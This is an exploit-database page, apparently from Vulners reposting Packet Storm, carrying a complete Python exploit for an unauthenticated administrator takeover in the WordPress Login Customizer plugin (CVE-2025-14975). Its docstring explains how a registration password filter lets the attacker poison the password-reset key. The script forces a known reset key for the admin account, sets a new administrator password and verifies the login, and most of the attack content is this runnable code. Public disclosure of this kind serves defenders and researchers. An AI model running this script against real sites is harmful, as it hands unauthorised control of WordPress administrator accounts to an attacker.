Lucene search
+L

📄 WordPress Login Customizer 2.5.3 Unauthenticated Account Takeover

🗓️ 21 Jul 2026 00:00:00Reported by Alejandro RamosType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 18 Views

Unauthenticated admin takeover in WordPress Login Customizer <=2.5.3 via reset-key poisoning during registration.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-14975
29 Jan 202606:00
attackerkb
Circl
CVE-2025-14975
29 Jan 202609:17
circl
CNNVD
WordPress plugin Custom Login Page Customizer has a security vulnerability
29 Jan 202600:00
cnnvd
CVE
CVE-2025-14975
29 Jan 202606:00
cve
Cvelist
CVE-2025-14975 Custom Login Page Customizer < 2.5.4 - Unauthenticated Arbitrary Password Reset
29 Jan 202606:00
cvelist
EUVD
EUVD-2025-206542
29 Jan 202606:00
euvd
NVD
CVE-2025-14975
29 Jan 202606:15
nvd
Patchstack
WordPress Custom Login Page Customizer plugin < 2.5.4 - Unauthenticated Arbitrary Password Reset vulnerability
30 Jan 202609:35
patchstack
Positive Technologies
PT-2026-5248
29 Jan 202600:00
ptsecurity
RedhatCVE
CVE-2025-14975
30 Jan 202610:10
redhatcve
Rows per page
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Login Customizer <= 2.5.3 - Unauthenticated Administrator Account Takeover (Reset-Key Poisoning)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/login-customizer/
    # Software Link: https://downloads.wordpress.org/plugin/login-customizer.2.5.3.zip
    # Version: 2.5.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14975
    r"""
    Login Customizer <= 2.5.3, when its "custom registration password" feature is enabled
    (enable_reg_pass_field != 'off') and registration is open, adds a global `random_password` filter
    (src/Settings/Features/Custom_Register_Password.php:33) that returns the attacker-supplied
    $_POST['user_pass'] whenever it is present (logincust_set_password()), with NO check that the flow is
    actually a registration.
    
    WordPress's get_password_reset_key() mints the reset key via wp_generate_password(), which runs the
    `random_password` filter. Triggering a password reset for `admin` while sending user_pass forces the
    stored reset key to an attacker-chosen value; the attacker then completes the reset with that known
    key and sets a new administrator password -> full account takeover, unauthenticated.
    
    Prior state: plugin active with enable_reg_pass_field on + users_can_register=1.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--admin", default="admin")
        ap.add_argument("--key", default="Lckey1234567890abcd")
        ap.add_argument("--newpass", default="LcPwned!2026")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php?action=lostpassword")
        s.post(base + "/wp-login.php?action=lostpassword",
               data={"user_login": args.admin, "user_pass": args.key,
                     "wp-submit": "Get New Password", "redirect_to": ""}, allow_redirects=True)
        s.get(base + "/wp-login.php?action=rp&key=%s&login=%s" % (args.key, args.admin), allow_redirects=True)
        s.post(base + "/wp-login.php?action=resetpass",
               data={"pass1": args.newpass, "pass2": args.newpass, "rp_key": args.key,
                     "user_pass": args.key, "wp-submit": "Save Password"}, allow_redirects=True)
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        lr = a.post(base + "/wp-login.php", data={"log": args.admin, "pwd": args.newpass,
                    "wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"},
                    allow_redirects=False)
        logged = "wordpress_logged_in" in lr.headers.get("Set-Cookie", "")
        print(f"[*] Target: {base} | victim: {args.admin} | forced key: {args.key}")
        print(f"[*] login as {args.admin} with attacker password: {logged}")
        if logged:
            print(f"\n[+] ACCOUNT TAKEOVER CONFIRMED — administrator '{args.admin}' reset by an "
                  f"unauthenticated attacker; logged in as administrator.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jul 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.1
EPSS0.00306
SSVC
18